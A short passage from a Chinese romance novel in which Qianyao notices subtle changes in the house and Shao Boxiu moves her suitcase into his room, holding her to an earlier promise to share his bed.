千瑶下楼,总觉得周围的环境怪怪的。
虽然陈设和之前一样,但总觉得哪里有不一样。
例如这个电视,看起来就特别新。
还有这个鱼缸里的鱼,少了一只。
厨房的推拉玻璃门,简直干净得不行。
千瑶忍不住问了一句,“邵柏修,你搞装修了?”
邵柏修端着酒杯,看向她,“你从哪儿看出来搞装修?”
她看着周围,皱起眉头。
她想要说,却也说不出个所以然。
“其实我让人将家里打扫了一遍,会看起来不一样。”
千瑶点头,原来如此。
难怪她觉得变了。
晚上,千瑶原本是要回自己房间的,可是却被拦住了去路。
“你拿着行李箱去哪?”
“回房间。”千瑶打了个哈欠,她又困了,“我要去睡觉了。”
邵柏修不解,拿过她的行李箱,放回自己房间。
“你拿我行李箱做什么?”千瑶皱眉,她不理解。
“你之前说过,以后都来和我睡的,不能反悔哦。”
千瑶愣神,好像有这个记忆。
她之前在床上的承诺,邵柏修真的信了。